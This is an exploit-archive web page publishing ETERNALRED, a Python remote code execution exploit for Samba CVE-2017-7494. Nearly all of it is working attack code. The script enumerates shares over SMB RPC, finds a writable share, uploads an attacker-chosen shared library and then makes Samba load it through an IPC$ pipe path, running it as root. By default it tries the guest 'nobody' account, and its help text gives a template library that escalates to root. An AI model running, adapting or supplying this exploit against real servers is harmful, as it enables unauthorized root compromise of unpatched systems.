what you don't know can hurt you
Home Files News &[SERVICES_TAB]About Contact Add New

Samba 3.5.0 Remote Code Execution

Samba 3.5.0 Remote Code Execution
Posted May 25, 2017
Authored by steelo

Samba version 3.5.0 remote code execution exploit. Written in python.

tags | exploit, remote, code execution, python
advisories | CVE-2017-7494
SHA-256 | 82b78ac677f3c508a31ba7663a45618d965a4a0c22eb9bc613387514f11039b3

Samba 3.5.0 Remote Code Execution

Change Mirror Download
#! /usr/bin/env python
# Title : ETERNALRED
# Date: 05/24/2017
# Exploit Author: steelo <knownsteelo@gmail.com>
# Vendor Homepage: https://www.samba.org
# Samba 3.5.0 - 4.5.4/4.5.10/4.4.14
# CVE-2017-7494


import argparse
import os.path
import sys
import tempfile
import time
from smb.SMBConnection import SMBConnection
from smb import smb_structs
from smb.base import _PendingRequest
from smb.smb2_structs import *
from smb.base import *


class SharedDevice2(SharedDevice):
def __init__(self, type, name, comments, path, password):
super().__init__(type, name, comments)
self.path = path
self.password = password

class SMBConnectionEx(SMBConnection):
def __init__(self, username, password, my_name, remote_name, domain="", use_ntlm_v2=True, sign_options=2, is_direct_tcp=False):
super().__init__(username, password, my_name, remote_name, domain, use_ntlm_v2, sign_options, is_direct_tcp)


def hook_listShares(self):
self._listShares = self.listSharesEx

def hook_retrieveFile(self):
self._retrieveFileFromOffset = self._retrieveFileFromOffset_SMB1Unix

# This is maily the original listShares but request a higher level of info
def listSharesEx(self, callback, errback, timeout = 30):
if not self.has_authenticated:
raise NotReadyError('SMB connection not authenticated')

expiry_time = time.time() + timeout
path = 'IPC$'
messages_history = [ ]

def connectSrvSvc(tid):
m = SMB2Message(SMB2CreateRequest('srvsvc',
file_attributes = 0,
access_mask = FILE_READ_DATA | FILE_WRITE_DATA | FILE_APPEND_DATA | FILE_READ_EA | FILE_WRITE_EA | READ_CONTROL | FILE_READ_ATTRIBUTES | FILE_WRITE_ATTRIBUTES | SYNCHRONIZE,
share_access = FILE_SHARE_READ | FILE_SHARE_WRITE | FILE_SHARE_DELETE,
oplock = SMB2_OPLOCK_LEVEL_NONE,
impersonation = SEC_IMPERSONATE,
create_options = FILE_NON_DIRECTORY_FILE | FILE_OPEN_NO_RECALL,
create_disp = FILE_OPEN))

m.tid = tid
self._sendSMBMessage(m)
self.pending_requests[m.mid] = _PendingRequest(m.mid, expiry_time, connectSrvSvcCB, errback)
messages_history.append(m)

def connectSrvSvcCB(create_message, **kwargs):
messages_history.append(create_message)
if create_message.status == 0:
call_id = self._getNextRPCCallID()
# The data_bytes are binding call to Server Service RPC using DCE v1.1 RPC over SMB. See [MS-SRVS] and [C706]
# If you wish to understand the meanings of the byte stream, I would suggest you use a recent version of WireShark to packet capture the stream
data_bytes = \
binascii.unhexlify(b"""05 00 0b 03 10 00 00 00 74 00 00 00""".replace(b' ', b'')) + \
struct.pack('<I', call_id) + \
binascii.unhexlify(b"""
b8 10 b8 10 00 00 00 00 02 00 00 00 00 00 01 00
c8 4f 32 4b 70 16 d3 01 12 78 5a 47 bf 6e e1 88
03 00 00 00 04 5d 88 8a eb 1c c9 11 9f e8 08 00
2b 10 48 60 02 00 00 00 01 00 01 00 c8 4f 32 4b
70 16 d3 01 12 78 5a 47 bf 6e e1 88 03 00 00 00
2c 1c b7 6c 12 98 40 45 03 00 00 00 00 00 00 00
01 00 00 00
""".replace(b' ', b'').replace(b'\n', b''))
m = SMB2Message(SMB2WriteRequest(create_message.payload.fid, data_bytes, 0))
m.tid = create_message.tid
self._sendSMBMessage(m)
self.pending_requests[m.mid] = _PendingRequest(m.mid, expiry_time, rpcBindCB, errback, fid = create_message.payload.fid)
messages_history.append(m)
else:
errback(OperationFailure('Failed to list shares: Unable to locate Server Service RPC endpoint', messages_history))

def rpcBindCB(trans_message, **kwargs):
messages_history.append(trans_message)
if trans_message.status == 0:
m = SMB2Message(SMB2ReadRequest(kwargs['fid'], read_len = 1024, read_offset = 0))
m.tid = trans_message.tid
self._sendSMBMessage(m)
self.pending_requests[m.mid] = _PendingRequest(m.mid, expiry_time, rpcReadCB, errback, fid = kwargs['fid'])
messages_history.append(m)
else:
closeFid(trans_message.tid, kwargs['fid'], error = 'Failed to list shares: Unable to read from Server Service RPC endpoint')

def rpcReadCB(read_message, **kwargs):
messages_history.append(read_message)
if read_message.status == 0:
call_id = self._getNextRPCCallID()

padding = b''
remote_name = '\\\\' + self.remote_name
server_len = len(remote_name) + 1
server_bytes_len = server_len * 2
if server_len % 2 != 0:
padding = b'\0\0'
server_bytes_len += 2

# The data bytes are the RPC call to NetrShareEnum (Opnum 15) at Server Service RPC.
# If you wish to understand the meanings of the byte stream, I would suggest you use a recent version of WireShark to packet capture the stream
data_bytes = \
binascii.unhexlify(b"""05 00 00 03 10 00 00 00""".replace(b' ', b'')) + \
struct.pack('<HHI', 72+server_bytes_len, 0, call_id) + \
binascii.unhexlify(b"""4c 00 00 00 00 00 0f 00 00 00 02 00""".replace(b' ', b'')) + \
struct.pack('<III', server_len, 0, server_len) + \
(remote_name + '\0').encode('UTF-16LE') + padding + \
binascii.unhexlify(b"""
02 00 00 00 02 00 00 00 04 00 02 00 00 00 00 00
00 00 00 00 ff ff ff ff 00 00 00 00 00 00 00 00
""".replace(b' ', b'').replace(b'\n', b''))
m = SMB2Message(SMB2IoctlRequest(kwargs['fid'], 0x0011C017, flags = 0x01, max_out_size = 8196, in_data = data_bytes))
m.tid = read_message.tid
self._sendSMBMessage(m)
self.pending_requests[m.mid] = _PendingRequest(m.mid, expiry_time, listShareResultsCB, errback, fid = kwargs['fid'])
messages_history.append(m)
else:
closeFid(read_message.tid, kwargs['fid'], error = 'Failed to list shares: Unable to bind to Server Service RPC endpoint')

def listShareResultsCB(result_message, **kwargs):
messages_history.append(result_message)
if result_message.status == 0:
# The payload.data_bytes will contain the results of the RPC call to NetrShareEnum (Opnum 15) at Server Service RPC.
data_bytes = result_message.payload.out_data

if data_bytes[3] & 0x02 == 0:
sendReadRequest(result_message.tid, kwargs['fid'], data_bytes)
else:
decodeResults(result_message.tid, kwargs['fid'], data_bytes)
elif result_message.status == 0x0103: # STATUS_PENDING
self.pending_requests[result_message.mid] = _PendingRequest(result_message.mid, expiry_time, listShareResultsCB, errback, fid = kwargs['fid'])
else:
closeFid(result_message.tid, kwargs['fid'])
errback(OperationFailure('Failed to list shares: Unable to retrieve shared device list', messages_history))

def decodeResults(tid, fid, data_bytes):
shares_count = struct.unpack('<I', data_bytes[36:40])[0]
results = [ ] # A list of SharedDevice2 instances
offset = 36 + 52 # You need to study the byte stream to understand the meaning of these constants
for i in range(0, shares_count):
results.append(SharedDevice(struct.unpack('<I', data_bytes[offset+4:offset+8])[0], None, None))
offset += 12

for i in range(0, shares_count):
max_length, _, length = struct.unpack('<III', data_bytes[offset:offset+12])
offset += 12
results[i].name = data_bytes[offset:offset+length*2-2].decode('UTF-16LE')

if length % 2 != 0:
offset += (length * 2 + 2)
else:
offset += (length * 2)

max_length, _, length = struct.unpack('<III', data_bytes[offset:offset+12])
offset += 12
results[i].comments = data_bytes[offset:offset+length*2-2].decode('UTF-16LE')

if length % 2 != 0:
offset += (length * 2 + 2)
else:
offset += (length * 2)

max_length, _, length = struct.unpack('<III', data_bytes[offset:offset+12])
offset += 12
results[i].path = data_bytes[offset:offset+length*2-2].decode('UTF-16LE')

if length % 2 != 0:
offset += (length * 2 + 2)
else:
offset += (length * 2)

max_length, _, length = struct.unpack('<III', data_bytes[offset:offset+12])
offset += 12
results[i].password = data_bytes[offset:offset+length*2-2].decode('UTF-16LE')

if length % 2 != 0:
offset += (length * 2 + 2)
else:
offset += (length * 2)


closeFid(tid, fid)
callback(results)

def sendReadRequest(tid, fid, data_bytes):
read_count = min(4280, self.max_read_size)
m = SMB2Message(SMB2ReadRequest(fid, 0, read_count))
m.tid = tid
self._sendSMBMessage(m)
self.pending_requests[m.mid] = _PendingRequest(m.mid, int(time.time()) + timeout, readCB, errback,
fid = fid, data_bytes = data_bytes)

def readCB(read_message, **kwargs):
messages_history.append(read_message)
if read_message.status == 0:
data_len = read_message.payload.data_length
data_bytes = read_message.payload.data

if data_bytes[3] & 0x02 == 0:
sendReadRequest(read_message.tid, kwargs['fid'], kwargs['data_bytes'] + data_bytes[24:data_len-24])
else:
decodeResults(read_message.tid, kwargs['fid'], kwargs['data_bytes'] + data_bytes[24:data_len-24])
else:
closeFid(read_message.tid, kwargs['fid'])
errback(OperationFailure('Failed to list shares: Unable to retrieve shared device list', messages_history))

def closeFid(tid, fid, results = None, error = None):
m = SMB2Message(SMB2CloseRequest(fid))
m.tid = tid
self._sendSMBMessage(m)
self.pending_requests[m.mid] = _PendingRequest(m.mid, expiry_time, closeCB, errback, results = results, error = error)
messages_history.append(m)

def closeCB(close_message, **kwargs):
if kwargs['results'] is not None:
callback(kwargs['results'])
elif kwargs['error'] is not None:
errback(OperationFailure(kwargs['error'], messages_history))

if path not in self.connected_trees:
def connectCB(connect_message, **kwargs):
messages_history.append(connect_message)
if connect_message.status == 0:
self.connected_trees[path] = connect_message.tid
connectSrvSvc(connect_message.tid)
else:
errback(OperationFailure('Failed to list shares: Unable to connect to IPC$', messages_history))

m = SMB2Message(SMB2TreeConnectRequest(r'\\%s\%s' % ( self.remote_name.upper(), path )))
self._sendSMBMessage(m)
self.pending_requests[m.mid] = _PendingRequest(m.mid, expiry_time, connectCB, errback, path = path)
messages_history.append(m)
else:
connectSrvSvc(self.connected_trees[path])


# Don't convert to Window style path
def _retrieveFileFromOffset_SMB1Unix(self, service_name, path, file_obj, callback, errback, starting_offset, max_length, timeout = 30):
if not self.has_authenticated:
raise NotReadyError('SMB connection not authenticated')

messages_history = [ ]


def sendOpen(tid):
m = SMBMessage(ComOpenAndxRequest(filename = path,
access_mode = 0x0040, # Sharing mode: Deny nothing to others
open_mode = 0x0001, # Failed if file does not exist
search_attributes = SMB_FILE_ATTRIBUTE_HIDDEN | SMB_FILE_ATTRIBUTE_SYSTEM,
timeout = timeout * 1000))
m.tid = tid
self._sendSMBMessage(m)
self.pending_requests[m.mid] = _PendingRequest(m.mid, int(time.time()) + timeout, openCB, errback)
messages_history.append(m)

def openCB(open_message, **kwargs):
messages_history.append(open_message)
if not open_message.status.hasError:
if max_length == 0:
closeFid(open_message.tid, open_message.payload.fid)
callback(( file_obj, open_message.payload.file_attributes, 0 ))
else:
sendRead(open_message.tid, open_message.payload.fid, starting_offset, open_message.payload.file_attributes, 0, max_length)
else:
errback(OperationFailure('Failed to retrieve %s on %s: Unable to open file' % ( path, service_name ), messages_history))

def sendRead(tid, fid, offset, file_attributes, read_len, remaining_len):
read_count = self.max_raw_size - 2
m = SMBMessage(ComReadAndxRequest(fid = fid,
offset = offset,
max_return_bytes_count = read_count,
min_return_bytes_count = min(0xFFFF, read_count)))
m.tid = tid
self._sendSMBMessage(m)
self.pending_requests[m.mid] = _PendingRequest(m.mid, int(time.time()) + timeout, readCB, errback, fid = fid, offset = offset, file_attributes = file_attributes,
read_len = read_len, remaining_len = remaining_len)

def readCB(read_message, **kwargs):
# To avoid crazy memory usage when retrieving large files, we do not save every read_message in messages_history.
if not read_message.status.hasError:
read_len = kwargs['read_len']
remaining_len = kwargs['remaining_len']
data_len = read_message.payload.data_length
if max_length > 0:
if data_len > remaining_len:
file_obj.write(read_message.payload.data[:remaining_len])
read_len += remaining_len
remaining_len = 0
else:
file_obj.write(read_message.payload.data)
remaining_len -= data_len
read_len += data_len
else:
file_obj.write(read_message.payload.data)
read_len += data_len

if (max_length > 0 and remaining_len <= 0) or data_len < (self.max_raw_size - 2):
closeFid(read_message.tid, kwargs['fid'])
callback(( file_obj, kwargs['file_attributes'], read_len )) # Note that this is a tuple of 3-elements
else:
sendRead(read_message.tid, kwargs['fid'], kwargs['offset']+data_len, kwargs['file_attributes'], read_len, remaining_len)
else:
messages_history.append(read_message)
closeFid(read_message.tid, kwargs['fid'])
errback(OperationFailure('Failed to retrieve %s on %s: Read failed' % ( path, service_name ), messages_history))

def closeFid(tid, fid):
m = SMBMessage(ComCloseRequest(fid))
m.tid = tid
self._sendSMBMessage(m)
messages_history.append(m)

if service_name not in self.connected_trees:
def connectCB(connect_message, **kwargs):
messages_history.append(connect_message)
if not connect_message.status.hasError:
self.connected_trees[service_name] = connect_message.tid
sendOpen(connect_message.tid)
else:
errback(OperationFailure('Failed to retrieve %s on %s: Unable to connect to shared device' % ( path, service_name ), messages_history))

m = SMBMessage(ComTreeConnectAndxRequest(r'\\%s\%s' % ( self.remote_name.upper(), service_name ), SERVICE_ANY, ''))
self._sendSMBMessage(m)
self.pending_requests[m.mid] = _PendingRequest(m.mid, int(time.time()) + timeout, connectCB, errback, path = service_name)
messages_history.append(m)
else:
sendOpen(self.connected_trees[service_name])

def get_connection(user, password, server, port, force_smb1=False):
if force_smb1:
smb_structs.SUPPORT_SMB2 = False

conn = SMBConnectionEx(user, password, "", "server")
assert conn.connect(server, port)
return conn

def get_share_info(conn):
conn.hook_listShares()
return conn.listShares()

def find_writeable_share(conn, shares):
print("[+] Searching for writable share")
filename = "red"
test_file = tempfile.TemporaryFile()
for share in shares:
try:
# If it's not writeable this will throw
conn.storeFile(share.name, filename, test_file)
conn.deleteFiles(share.name, filename)
print("[+] Found writeable share: " + share.name)
return share
except:
pass

return None

def write_payload(conn, share, payload, payload_name):
with open(payload, "rb") as fin:
conn.storeFile(share.name, payload_name, fin)

return True

def convert_share_path(share):
path = share.path[2:]
path = path.replace("\\", "/")
return path

def load_payload(user, password, server, port, fullpath):
conn = get_connection(user, password, server, port, force_smb1 = True)
conn.hook_retrieveFile()

print("[+] Attempting to load payload")
temp_file = tempfile.TemporaryFile()

try:
conn.retrieveFile("IPC$", "\\\\PIPE\\" + fullpath, temp_file)
except:
pass

return

def drop_payload(user, password, server, port, payload):
payload_name = "charizard"

conn = get_connection(user, password, server, port)
shares = get_share_info(conn)
share = find_writeable_share(conn, shares)

if share is None:
print("[!] No writeable shares on " + server + " for user: " + user)
sys.exit(-1)

if not write_payload(conn, share, payload, payload_name):
print("[!] Failed to write payload: " + str(payload) + " to server")
sys.exit(-1)

conn.close()

fullpath = convert_share_path(share)
return os.path.join(fullpath, payload_name)


def main():
parser = argparse.ArgumentParser(formatter_class=argparse.RawDescriptionHelpFormatter,
description= """Eternal Red Samba Exploit -- CVE-2017-7494
Causes vulnerable Samba server to load a shared library in root context
Credentials are not required if the server has a guest account
For remote exploit you must have write permissions to at least one share
Eternal Red will scan the Samba server for shares it can write to
It will also determine the fullpath of the remote share

For local exploit provide the full path to your shared library to load

Your shared library should look something like this

extern bool change_to_root_user(void);
int samba_init_module(void)
{
change_to_root_user();
/* Do what thou wilt */
}
""")
parser.add_argument("payload", help="path to shared library to load", type=str)
parser.add_argument("server", help="Server to target", type=str)
parser.add_argument("-p", "--port", help="Port to use defaults to 445", type=int)
parser.add_argument("-u", "--username", help="Username to connect as defaults to nobody", type=str)
parser.add_argument("--password", help="Password for user default is empty", type=str)
parser.add_argument("--local", help="Perform local attack. Payload should be fullpath!", type=bool)
args = parser.parse_args()

if not os.path.isfile(args.payload):
print("[!] Unable to open: " + args.payload)
sys.exit(-1)

port = 445
user = "nobody"
password = ""
fullpath = ""

if args.port:
port = args.port
if args.username:
user = args.username
if args.password:
password = args.password

if args.local:
fullpath = args.payload
else:
fullpath = drop_payload(user, password, args.server, port, args.payload)

load_payload(user, password, args.server, port, fullpath)

if __name__ == "__main__":
main()

Login or Register to add favorites

File Archive:

May 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    May 1st
    44 Files
  • 2
    May 2nd
    5 Files
  • 3
    May 3rd
    11 Files
  • 4
    May 4th
    0 Files
  • 5
    May 5th
    0 Files
  • 6
    May 6th
    28 Files
  • 7
    May 7th
    3 Files
  • 8
    May 8th
    4 Files
  • 9
    May 9th
    54 Files
  • 10
    May 10th
    12 Files
  • 11
    May 11th
    0 Files
  • 12
    May 12th
    0 Files
  • 13
    May 13th
    17 Files
  • 14
    May 14th
    11 Files
  • 15
    May 15th
    17 Files
  • 16
    May 16th
    13 Files
  • 17
    May 17th
    22 Files
  • 18
    May 18th
    0 Files
  • 19
    May 19th
    0 Files
  • 20
    May 20th
    17 Files
  • 21
    May 21st
    18 Files
  • 22
    May 22nd
    7 Files
  • 23
    May 23rd
    111 Files
  • 24
    May 24th
    27 Files
  • 25
    May 25th
    0 Files
  • 26
    May 26th
    0 Files
  • 27
    May 27th
    0 Files
  • 28
    May 28th
    0 Files
  • 29
    May 29th
    0 Files
  • 30
    May 30th
    0 Files
  • 31
    May 31st
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2022 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close